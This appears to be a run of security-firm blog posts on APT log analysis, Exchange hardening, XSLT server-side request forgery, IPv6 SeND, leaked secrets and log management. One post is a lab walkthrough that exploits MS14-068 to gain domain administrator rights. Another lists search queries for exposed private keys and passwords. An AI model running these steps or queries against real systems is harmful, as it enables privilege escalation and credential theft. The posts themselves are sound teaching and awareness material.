Netzwerktraffic und APT Analyse

Compass Security wird vermehrt von Kunden bzgl. Verdacht auf Advanced Persistent Threat (APT) kontaktiert. Unter die Bezeichnung “APT” fallen komplexe, zielgerichtete und äusserst effektive Angriffe auf kritische und zuweilen gar unternehmenswichtige Computersysteme bzw. deren gespeicherte Informationen.
Die Analyse von potentiell infiltrierten Netzen und Systemen gestaltet sich jedoch als enorm aufwändig, da Unmengen von Datensätzen und Logs ausgewertet werden müssen. Compass hat deshalb immer wieder verschiedene Aspekte im Bereich APT, Forensik und Incident Response beleuchtet. Einerseits betreiben wir Research mit internen “Hack Labs” und “Research Weeks”, wo unsere Spezialisten sich mit den neusten Erkenntnissen der Scene auseinandersetzen bzw. diese weiter treiben und andererseits bearbeitet Compass in Zusammenarbeit mit den Security Fachabteilungen einer Vielzahl von Hochschulen, entsprechende Themen.

Eine entsprechend gewürdigte Maturaarbeit aus dem letzten Sommer möchten wir der Öffentlichkeit nicht länger vorenthalten und publizieren darum die Resultate im Rahmen dieses Posts. Im Mittelpunkt des Whitepapers steht die Analyse von APT mittels Splunk, einer spezialisierten Software zur Analyse von grossen Mengen maschinengenerierter Logdaten. Es werden darin auch alternative Wege zur Auswertung eruiert und ein Standardvorgehen für APT Fälle vorgeschlagen. Das Paper greift auch das bei Compass übliche Vorgehen bei forensischen Analysen auf und gibt dem technischen Leser in gewohnter Compass manier, viele technische Details mit auf den Weg. Natürlich auch einige Ideen, wie man das Logging von bestimmten Diensten optimieren könnte.

Möchten Sie gerne mehr zum Thema wissen? Möchten Sie auch erfahren, was dies in der Praxis bedeutet? Dann können wir Ihnen unser nächstes “Hands-on Seminar” mit dem Titel: Network Analysis & Advanced Persistent Threats vom 25. und 26. August 2015 in Bern empfehlen.

In der Zwischenzeit wünschen wir Ihnen viel Spass beim Schmökern. Behalten Sie einen kühlen Kopf compass_security_schweiz_whitepaper_apt_network_analysis_w_splunk_v1.1.pdf.

Compass Security Crew,
Cyrill Brunschwiler

Presentation about Windows Phone 8.1

Earlier this month, my colleague Cyrill Bannwart and I held two Compass Security Beer Talk presentations in Bern and Jona about Windows Phone 8.1 security. The slides are now online and cover:

  • Our (unsuccessful) black box attempts to break out from a Windows perspective
  • A review of the implemented security features in Windows Phone 8.1 from a mobile perspective
  • Our findings around MDM integration, WiFi Sense and the ability to access low level storage APIs

Phone encryption using BitLocker is only possible through ActiveSync or MDM Policy. An individual will therefore not be able to encrypt his phone (unless he’s really motivated to do so).

WiFi Sense is a controversial new feature of Windows Phone 8.1, announced for the desktop version of Windows 10 as well. It allows you to automatically connect to open WiFi networks around you and may share your WiFi credentials with your Outlook.com, Skype and Facebook friends.

Finally, we were able to bypass the Isolated Storage APIs and use low level storage APIs such as CreateFile2 & CopyFile2 to read and export all files stored on the phone within C:\Windows and its sub folders. Note that we were only able to perform this attack on an unlocked device using side-loaded applications. The abundance of dumped files to analyse (over 880 MB in around 10’000 files) certainly offer further opportunities to explore this system’s security.

Further references about WP 8.1

XSLT Security and Server Side Request Forgery

Nowadays, a growing list of XSLT processors exist with the purpose of transforming XML documents to other formats such as PDF, HTML or SVG. To this end such processors typically offer a powerful set of functionalities – which, from a security point of view, can potentially pose severe risks.

Within this post, we highlight some of the threats one gets exposed when operating a misconfigured XSLT processor. The goal here is to increase people’s awareness when configuring modern XSLT processors.

Tested XSLT Processors

The subsequent table lists the XSLT processors investigated in our tests.

XSLT Processor Manufacturer License Windows Version Linux Version
libxslt Gnome Project MIT License 1.1.26 1.1.28
Saxon-HE Saxonica Limited Mozilla Public License V1.0 9.6.0.1 9.6.0.1
Saxon-EE Saxonica Limited Mozilla Public License V1.0 9.6.0.1 9.6.0.1
Xalan-J Apache Software Foundation Apache License V2.0 2.7.1 2.7.2
Xalan-C Apache Software Foundation Apache License V2.0 1.11 1.11
MSXML 4.0 Microsoft Proprietary 4.0 SP3
MSXML 6.0 Microsoft Proprietary SP2 (File Version 6.20.1099)
.NET System.xml Microsoft Proprietary 4.0.30319

Results

We divided the security threats exposed by the XSLT processors into six categories:

  1. Information Disclosure
  2. Read Files
  3. Write Files
  4. Database Access
  5. Include External Stylesheet
  6. Code Execution

The results are summarized in following figure:

XSLT Vulnerabilities

Vulnerability Overview of Tested XSLT Processors

The above results clearly show that the great functionality of modern XSLT processors comes with a tremendous downside: If used in their default configuration, or otherwise not properly configured, XSLT processors can endanger confidentiality and integrity on XSLT servers or allow the execution of arbitrary code. Even worse, the vulnerable XSLT server might be abused to forge attacks against remote third parties, such as for instance performing anonymous port scans (see example below).

Example: Server Side Port Scanning Forgery

Here, we give a short example of how to misuse the document() function (used to access external XML documents) on a remote XSLT server to forge port scanning against an external third party. In the example, the investigated third party is located on host “example.com“, and tested against port 22 (SSH).

The attacker “Mallory“, trying to learn whether or not port 22 on “example.com” is open or closed, submits the following XSL file to a server “Alice” running a vulnerable XSLT processor.

XSLT Portscan

Port Scanning XSL File

Next, “Alice” processes the XSL file submitted by “Mallory” and as consequence tries to access the external XML resource located on “example.com“. Dependent on whether or not port 22 is open on “example.com“, a different response is sent back to “Alice“, who finally forwards the result to “Mallory“. Since the result “Mallory” receives is different for open/closed ports, she can learn the port state on “example.com“. Note that in this way “Mallory” has performed the port scan anonymously, since the only party speaking to “example.com” was “Alice“.

For the sample processor libxslt in our test set, the response received by “Mallory” might look like shown below:

Port State Response
Port Open parser error : Document is empty
Port Close (Timeout) Operation in progress I/O warning
Invalid Host No such file or directory I/O warning

In summary, “Mallory” was able to forge a port scanning request from “Alice” against “example.com“.

References

This blog post is based on a Seminar paper (XSLT Processing Security and Server Side Request Forgeries) written by Emanuel Duss and Roland Bischofberger, in collaboration with Compass Security Schweiz AG:

E. Duss and R. Bischofberger. “XSLT Processing Security and Server Side Request Forgeries: Analyse, Demonstration und Gegenmassnahmen“. Seminar Paper, Hochschule für Technik Rapperswil, Autumn 2014

Further Readings

Exchange 2013 – Spot the Security Features

Microsoft Exchange 2013, the newest product in the Exchange series, is more and more enrolled in enterprise environments. With the new and enhanced features, for example the integration of SharePoint or Lync, the new Exchange is a well-designed piece of software which in parallel addresses different security concerns. Like Lync 2013 and the whole Microsoft Office Suite, Exchange is available as on premise installation or as Office365 solution, even a combination of both worlds is possible. There is for example the Exchange Online Protection solution which could be combined with a on premise installation.

Exchange 2013 Workloads

Exchange 2013 Workloads

Compass Security would like to share their recent experience to enlighten some of the risks and security issues within an Exchange environment. This post is not about fuzzing or testing the product itself, it’s more about the secure configuration of the Exchange environment. The other heavy-weight product from Microsoft, the Lync 2013, was also a recent blog topic where I wrote about the security issues, the privacy configuration and the missing security features.

At least the following built-in security features are available:

  • Encryption: Transport security is enabled by default and can’t be disabled. The communication is always RPC over HTTPs (Outlook Anywhere)
  • Fine-grained role-based-access-control (RBAC) system. A similar RBAC system is also used in a Lync eco-system
  • Passive databases and lagged database copies for high availability and disaster recovery
  • Archiving and Journaling possibilities for backup and compliance requirements
  • An optional anti-spam and anti-malware detection framework built into Exchange
  • Data Loss Prevention (DLP) engine to filter sensitive information, based on pattern matching

Besides these security features, following security issues must be properly addressed:

  1. RBAC: When the RBAC system is used too loosely, too many people have too many privileges on the sensitive enterprise e-mail content. Therefore, like in Lync, the RBAC roles must be implemented with the least-privilege principle. Custom roles should be implemented for enterprise-specific requirements:

Read all roles:

Get-ManagementRoleAssignment | select roleassigneename –Unique

Read all members of all the role groups:

foreach ($rg in Get-RoleGroup) { `
  Get-RoleGroupMember –Identity $rg.Name `
    | select name,@{n="RoleGroup";e={$rg.Name}} | `
      ft -autosize }

Read members of a specific role group:

Get-RoleGroupMember "My AD Group"

List all allowed cmdlets for a specific group:

Get-ManagementRoleEntry "RoleName\*"

Or list all groups in which a specific cmdlet is allowed:

Get-ManagementRoleEntry "*\cmdlet-name"
  1. E-mail encryption: However, transport security is used within the whole Exchange environment. End-to-end encryption must be implemented with e.g. RMS (Right-Management-System) or S/MIME. The email content is not encrypted by default. Furthermore, when using Exchange Cache Mode, on every enterprise workstation a “<filename>.ost” file is stored unencrypted on the disk. This file contains the whole email and calendar and other sensitive information in a mailbox. With tools like “Kernel to PST” the .ost file could be opened and accessed as with Outlook.

Cached Exchange Mode Settings under Account Settings in Outlook:

Exchange Cached Mode

Tool to read the content of .ost files is for example “Kernel for OST to PST“.

  1. Auditing: Tracking mailbox access and configuration changes is essential for forensic analysis and security investigations. There exist the admin (RBAC) and mailbox auditing. The latter can be enabled for the owner, delegates or admins. Furthermore, the auditing can be set for different actions, e.g. move, copy, open delete.

Admin audit:

Get-AdminAuditLogConfig | fl AdminAuditLogEnabled, `
  AdminAuditLogCmdlets, AdminAuditLogParameters, LogLevel

Mailbox audit:

Get-Mailbox | select userprincipalname,auditenabled | ft –AutoSize

List all actions which are logged for a specific mailbox:

get-mailbox <username> | % { `
  "Displayname: {0}" -f $_.displayname; "AuditEnabled: {0}" `
  -f $_.auditenabled; "AuditAdmin: {0}" -f $_.auditadmin; `
  "AuditDelegate: {0}" -f $_.auditdelegate; "AuditOwner: {0}" `
  -f $_.auditowner }

Identify mailboxes which are excluded from the auditing:

Get-MailboxAuditBypassAssociation -ResultSize unlimited | ? `
  { $_.AuditBypassEnabled -match "True" }
  1. Mailbox permissions: It’s well known, that the private flag is only respected within the Exchange Eco-System (e.g. Outlook, OWA). When directly access Exchange with Exchange Web Services (EWS), private flagged items (e.g. private appointments) can be read. Therefore, the permissions for a mailbox should be set to “limited details” and for the inbox the allowed delegates must be set very rare. “Reviewer” permissions would allow access to the private appointments through EWS.
Get-MailboxFolderPermission <username>:\Calendar

Example Output:

FolderName           User                 AccessRights
----------           ----                 ------------
Calendar             All                  {LimitedDetails}

The same is used for the inbox:

Get-MailboxFolderPermission <username>:\Inbox
  1. Connector Security: Connectors are the interfaces from and to the Exchange servers. Outlook clients, IMAP/POP clients, any other SMTP server and also third-party applications like scanners or FAX devices.

List given details for all connectors

Get-ReceiveConnector | fl Name, AuthMechanism, PermissionGroups

To verify, that a connector is not used as anonymous open relay, read the extended AD permissions for a specific connector:

Get-ReceiveConnector | % `
  { $_.name; Get-ADPermission -identity $_.name -user `
  "NT AUTHORITY\ANONYMOUS LOGON" | ft extendedrights `
  -HideTableHeaders –AutoSize }

“Ms-Exch-SMTP-Accept-Any-Recipient” should not be available for any anonymous connector.

  1. OWA Offline Storage: In respect to information leakage, disabling offline storage would prevent the application from storing the following information on the client: up to 150 emails or content of last 3 days, all contacts, calendar entries for the next year but not attachments.
Get-OwaMailboxPolicy | fl AllowOfflineOn
  1. Management Interface: The new Exchange Administrative Center (EAC) is the management web application (/eac) for the Exchange. The same EAC is used by normal users to change their password or change other account settings. This leaves us in an unpleased situation where the management interface can’t be hided from the client network because both the administration and the user settings are handled with the same application.

As with Lync, the provided Exchange security mechanisms are good and give an enterprise a solid baseline for a secure email, calendar and contact manager solution. However, there are different locations which must be considered in the design and configuration phase: auditing must be enabled, custom RBAC roles should be used to limit access to sensitive mailbox content and connector security settings should be hardened to only allow authenticated users.

Thanks to Marek Madrzycki for the review and comments for this post.

References

IPv6 Secure Neighbor Discovery (SeND)

Finally, IPv6 is arriving… Since the IPv6 Launch Day in 2012, the number of native IPv6 users have been sextupled. In Switzerland, the IPv6 adoption rate is around 10%, which is quite impressive. In this blog post, the successor of ARP, namely the Neighbor Discovery Protocol (NDP), is introduced and its security features described. IPv4 ARP attacks are well known and documented. Similar attack vectors exist for IPv6’s NDP. To overcome these limitations, the IPv6 SeND (Secure Neighbor Discovery) was introduced back in 2005.

NDP is responsible for:

  • finding other nodes on the same network
  • providing the needed IPv6 prefix exchange mechanism
  • allowing IPv6 address auto-configurationand therefore enabling some IPv6 specific features like DAD (duplicate address detection)

NDP’s main messages are the advertisement and solicitation packets for either the router or the neighbor (host). Common attacks are spoofing (also used in IPv4, known as ARP spoofing), flooding router advertisements or denial-of-service. When a host creates his auto-generated IPv6 address, all other nodes on the same link are asked if this address is already taken. A malicious network participant could always claim he already uses this address for which a request was just sent, creating a denial-of-service condition.

SeND uses cryptographically generated addresses (CGA) based on private/public key pairs to generate IPv6 addresses. A recipient of such an IPv6 packet can verify the authenticity of the IPv6 address with the provided public key. Furthermore, SeND uses a router authorization process to identify valid router advertisements (IPv6 prefixes among other things) based on a trust anchor (e.g. a certificate authority).

Due to the design of IPv6 SeND, DoS attacks are possible because of its computational costs. Furthermore, it only makes sense to use IPv6 SeND in pure IPv6 networks. Privacy issues also exist, because the public key doesn’t change and is sent with every IPv6 SeND packet, regardless of the currently connected network.

Most vendors do not natively implement SeND in their products (e.g. Google’s Android, Apple’s IOS, *nix, Windows) for the moment. Cisco’s IOS 12.4-24(T) and Juniper JUNOS version 9.3 onwards ship with a SeND implementation. On the operating system side, experimental implementations exist for Linux and Windows. Due to this sparse support (and the requirement of running exclusively IPv6), SeND cannot be used today to secure larger environments down to the workstation or server. But SeND can be an option to secure your inter-router traffic provided your network equipment supports it.

Further details can be found in the following presentation: IPv6 Secure Neighbor Discovery.

Thanks to Mateusz Khalil and Alexandre Herzog for the review and comments for this post.

References

  • RFC3971: Secure Neighbor Discovery (SEND)
  • RFC3972: Cryptographically Generated Addresses (CGAs)
  • Ed Horley IPv6 Bootcamp presentation, 2014
  • http://www.cisco.com/en/US/docs/ios-xml/ios/sec_data_acl/configuration/15-2mt/ip6-send.html, «IPv6 Secure Neighbor Discovery», 2012
  • «IPv6 Security», Eric Vyncke, Cisco, 2014
  • Short summary of SeND, “IPv6 Secure Neighbor Discovery”, EPFL, Claire Musso, Syrine Boujnah, Khalil Hajji, Dec 2013

Aktuelle Security Trainings

Web Application Security Training

Die Compass Security hat im Moment im Bereich Web Security zwei Kurse ausgeschrieben. Ein Basic und ein Advanced. Unsere öffentlichen Kurse dauern jeweils 2-Tage und bestehen zur Hälfte aus praktischen Beispielen (Hands-On Lab) und zur anderen Hälfte aus Theorie. Wobei die Doing-Aufgaben in der
Regel eine Schritt-für-Schritt Anleitung sind.

Der Hacker-Angriff erfolgt zunehmend über den Browser auf Web Anwendungen. Durch die grosse Verbreitung der Web Technologie steigt der Bedarf für Sicherheit und die sichere Programmierung. Das Thema beschäftigt nicht nur E-Banking und Online Trading Anbieter, sondern auch Shops mit Kreditkarten Zahlungen, eHealth, eVoting und Anwendungen mit schützenswerten Daten. Bei diesen Seminaren erlernen Sie anhand von Theorie und praktischen Laborübungen im Hacking-Lab die OWASP TOP 10 kennen und können im Anschluss selbst Sicherheitsprobleme aufdecken, sichere Anwendungen schreiben und Security Policies verfassen.

Web Application Security Basic, 03. und 04. März 2015 in Bern (Schweiz)

http://www.csnc.ch/de/securitytraining/webapp-basic-bern_201503.html

Web Application Security Advanced, 05. und 06. März 2015 in Bern (Schweiz)

http://www.csnc.ch/de/securitytraining/webapp-advanced-bern_201503.html

Die Inhalte der Kurse können wir beliebig zusammenstellen. Weitere Themen, die im Moment nicht ausgeschrieben sind, wären:

  • DOM Injections (mittlerweile eine prominente Art von XSS)
  • AngularJS Security
  • OAuth 2
  • OpenID
  • XSLT

Secure Mobile Apps, 23. und 24. März 2015 in Bern (Schweiz)

Mit der wachsenden Verbreitung von mobilen Geräten stehen diese zunehmend im Fokus von Cyber Kriminellen. Mit einem guten App Design und der richtigen Nutzung der Hersteller API sind gute und sichere Lösungen möglich! Doch wo befinden sich die typischen Sicherheitslücken? Die Compass Security AG hat eine verwundbare Training Mobile App für Android und iOS entwickelt, um die Kursteilnehmer anhand von praktischen Beispielen in das Thema „Mobile Secure App“ einzuführen und sie für Self-Assessments und Sicherheitsfragen zu sensibilisieren.

Weitere Informationen sind unter http://www.csnc.ch/de/securitytraining/secure_mobile_apps_201503_bern.html vorhanden.

Falls Sie keinen passenden Kurs gefunden haben, schauen Sie doch in Zukunft unter http://www.csnc.ch/de/securitytraining/ vorbei. Compass Security bietet regelmässig neue Trainings an.

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS): 192.168.200.64
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): 192.168.200.64 zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC 192.168.200.64
    […]
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    […]
    |_  System time: 2014-12-07T15:07:11+01:00
    […]
    
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
    […]
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    Password:
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available

 

Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.

Gegenmassnahmen

Installation des “out-of-band” Patch MS14-068

Credits

Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.

Referenzen

[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

Presentation at BSidesVienna

On the last Saturday the 22nd of November, I attended BSidesVienna 2014 to deliver a talk about BurpSentinel. This tool is a Burp Suite extension giving better control over semi-automated requests sent to a given web application page. The presentation also covered aspects on automated Cross-Site Scripting and SQL injection detection. Despite talking early in the day (10 am), the room was pretty crowded a few minutes into the presentation, and the attendees quite interested.

vienna

The location of BSidesVienna, an old cinema, was awesome and located right in the middle of Vienna, close to the Art district. Noteworthy is that all drinks, food and t-shirts were completely free, which is impressive for a free event! Other presentations covered e.g. the (in)security of fitness trackers, Android malware analysis or the comparison between the Manhattan project and the Snowden revelations. The slides will be available on the website soon.

Finally, I want to thank the organizers for the cool event, and Compass Security AG to sponsor the trip to Vienna.

Slides of the presentation:

Keep your secrets really secret

Nowadays, we all relentlessly use search engines and developers extensively use version and source code control systems to keep track of their source code. Services such as Google or GitHub are great to search and retrieve information they gathered and stored. But when it comes to public indexing services, one big problem raises up: your whole repository, your code and your configuration files are by default also uploaded – in sight to everyone. Therefore, sensitive data such as license keys, passwords or cryptographic key material becomes available with simple web searches.

Different sensitive information was leaked due to improper use of such version controls or improper handling of sensitive configuration files in the past. A recent story published in October 2014 by “Krebs on Security” demonstrates that very well.

So while I was recently reading a PowerShell blog post on “Hey Scripting Guy” about the .publishsettings file for Microsoft Azure access, I immediately thought of a nice GitHub search to find all these files. As with other sensitive files (e.g. private key files), people doesn’t care much about the confidentially of such files.

This .publishsettings file includes a certificate and sometimes also clear text FTP credentials for accessing Microsoft Azure repositories. Within a Microsoft Azure article, Microsoft highlighted the importance of removing this file:

We recommend that you delete the publishing profile that you downloaded using Get-AzurePublishSettingsFile after you import those settings.
Because the management certificate includes security credentials, it should not be accessed by unauthorized users.

The article “Download and Import Publish Settings and Subscription Information for Azure” describes the file structure:

<?xml version="1.0" encoding="utf-8"?>
<PublishData>
 <PublishProfile
   PublishMethod="AzureServiceManagementAPI"
   Url="https://management.core.windows.net/"
   ManagementCertificate="<CERTIFICATE>"
   <Subscription
    Id="<ID>"
    Name="<SUBSCRIPTION NAME" />
 </PublishProfile>
</PublishData>

Searching for this configuration file within Google or GitHub returns multiple entries:

https://www.google.ch/search?q=ext:publishsettings

Google search for the site GitHub and the file .publishsettings:

https://www.google.ch/search?q=ext:publishsettings+site:github.com

Google search for the site GitHub and the file .publishsettings:

https://www.google.ch/search?q=ext:publishsettings+site:code.google.com

Other interesting GitHub searches…

Private keys
Search for private keys within GitHub:

https://github.com/search?q="RSA+PRIVATE+KEY----"&type=Code&ref=searchresults

PHP wrapper
Search for PHP wrapper within GitHub:

https://github.com/search?l=php&q=ssh2_auth_password&type=Code

With this search for PHP wrappers we would find something like:

<!--?php
$user = "doXXXon";
$password = "pfXXXXOS";
$connection = ssh2_connect([CUTBYCOMPASS], 22);

ASP.NET machine keys
Search for machine keys within ASP.NET application configuration files.

Structure:

<!--?xml version="1.0" encoding="utf-8"?-->
<configuration>
 <system.web>
 <machineKey decryptionKey="Decryption key goes here,IsolateApps" 
             validationKey="Validation key goes here,IsolateApps" />
 </system.web>
</configuration>

Search:

https://github.com/search?p=3&q="machineKey+decryptionKey="&ref=searchresults&type=Code

Conclusion:
Never include your configuration files and other sensitive information within a public repository like GitHub and keep in mind that any public information will eventually get indexed by search engines. As a developer, refrain from pushing unknown files, as they might have unexpected sensitive content and as system administrator, keep an eye on the directory and file permissions of your web servers to not accidentally expose sensitive files. Exhaustive lists of other Google searches (also called “Google Dorks) can be found in this infosec institute post or in the dedicated part for dorks on exploit-db.com.

Feel free to comment below to share your preferred other search queries!

Thanks to Philipp Promeuschel, Ivan Bütler and Alexandre Herzog for some additional queries.

References

Challenges in Log Management

Recently, SANS Institute has published the 9th log management survey (2014). The paper identifies strengths and weaknesses in log management systems and practices. It further provides advice to improve visibility across systems with proper log collection, normalization and analysis. Log management is very important to Compass as it heavily influences forensic investigations. Evidently, accurate information needs to be available to track down incidents. This post provides a short summary of the paper and reflects Compass research and experiences in these fields.

TL:DR; Positive is, that most of the companies have some sort of log management, at least most collect logs in some form – many do log to a central log server. In summary, log management is a well-established control within companies, but there are challenges (e.g. cloud services, differences in logging by different vendors) which companies cannot solve on their own and depend on the vendors and hosting providers. To differentiate between “good” and “bad” traffic is one of the biggest challenges.

The respondents of the survey rated the following activities as the biggest challenges in log management:

  • Distinguish between normal and suspicious traffic
  • Analysis of “big data” (large amount of volumes and types of log and events)
  • Normalization and categorization of logs and security information
  • Correlation of logs from various sources
  • Cloud causes log management headaches
  • Vendors log similar events differently

The first point “distinguish between normal and suspicious traffic” is clearly a problem – especially, if the infrastructure includes different technologies and vendors and exceeds a small environment. The bad thing is, malware and therefore the malicious traffic uses also “good” traffic to communicate with C&C servers. Here, baselining your logs could help. You might also want to understand applications in-depth and get some meaning from the user’s behavior – network analysis of the given parts could help you to understand the ‘average’ traffic.

The challenges with the cloud log management are rather new – but behind the scenes the same challenges exust. Look at cloud systems as they would be systems managed “by others” and not simply “by the cloud”. Challenge yourself with the same questions as you would challenge a hosted Unified Communications (UC) or a storage provider etc. What is logged? Where is it logged? How long are the logs being kept? Are the logs collected by the central log server? Will they be processed by the security information and event management (SIEM) systems?

The respondents in the survey clearly stated that collecting logs from the cloud is still difficult. Around half of the respondents say that they feel no need to monitor apps in the cloud. Many respondents say they rely on their cloud operator’s ISMS and security services, management and controls. Compass Security has some concern with this view – ONE SHOULD log and monitor all the required information as one would with in-house services. Graham Cluley said in a blog post: “Don’t call it ‘the cloud’. Call it ‘someone else’s computer’.”. Moreover, with the shift to the “cloud”, forensic analysis is getting a big challenge which companies are facing. If a cloud provider is not willing or simply unable to provide logs, you might want to evaluate another one. Some cloud providers actually allow to export logs. See Amazon and Cloudstack.

The top three reasons to collect logs are

  • detect and/or track suspicious behavior (e.g. unauthorized access, insider abuse)
  • support IT/Network routine maintenance and operations
  • support forensic analysis

Unfortunately, the respondents have issues to make meaningful use of the logs for:

  • detection/tracking of suspicious behavior
  • detection of APT-style malware
  • prevention incidents

In a recent presentation in Jona, Compass Security highlighted the difficulties to detect suspicious behavior and thus to detect APTs. It was presented how monitoring and APT traffic detection can be achieved with the correlation of logs of DNS, Mail, Proxy and Firewall. For this purpose, the logs have been enriched with external data like IP Reputation Lists, ZeuS Tracker, DNS Blacklists, Mail Black- and Greylists to identify potential malicious traffic. There are lots of other tricks which help to identify malicious traffic.

Besides the challenges and difficulties, the survey pointed out that SIEM infrastructures have become widely used to claim some form of automated processing and/or alerting of suspicious events. Automation is the key to managing and analyzing the large amounts of data. In recent years, normalization improved but fully “normalized” log information is still not available. Log engines will help to normalize and categorize events and log information systems for many different formats.

Interesting to see is how long the different respondents spend their time on analysis their logs. Most of them spend around 4h-8h a week on log analysis (of course, this depends on the company size). Not surprising was the fact, that regulatory compliance has been one of the main drivers for determining log data retention policies.

Regarding the current SSL (padding vulnerability) discussions, here are two examples of SSLv3 logging shown to identify downgrade attacks or to just see which clients still uses SSLv3. For apache this could be used:

CustomLog logs/ssl_request_log "%t %h \"{User-agent}i\" %{SSL_PROTOCOL}x %{SSL_CIPHER}x "

For nginx the following line could be used within your nginx configuration:

log_format ssl ''$remote_addr "$http_user_agent" $ssl_cipher $ssl_protocol

Offtopic: there is a good overview of different products and how to disable SSLv3.

How Compass can help you

If you like to have some hands-on practice and get a deeper inside how to detect APTs and how they work, Compass has the following upcoming courses regarding this hot topic:

These trainings use our Hacking-Lab in order to practice with log engines to analyze real-world examples. Furthermore, our classic “Beer Talk” series in September was about APT.

Compass Security can help you in the regards of testing your log environment with simulating directed attacks or simulating APT-style malware or by analyzing your log management concept.

Conclusion

